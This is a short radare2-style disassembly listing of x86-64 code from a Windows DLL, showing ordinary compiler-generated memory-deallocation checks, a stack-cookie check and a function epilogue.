lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000267a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000267a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180003c54
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.180003870
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1800011b0
nop
call fcn.1800011b0
int3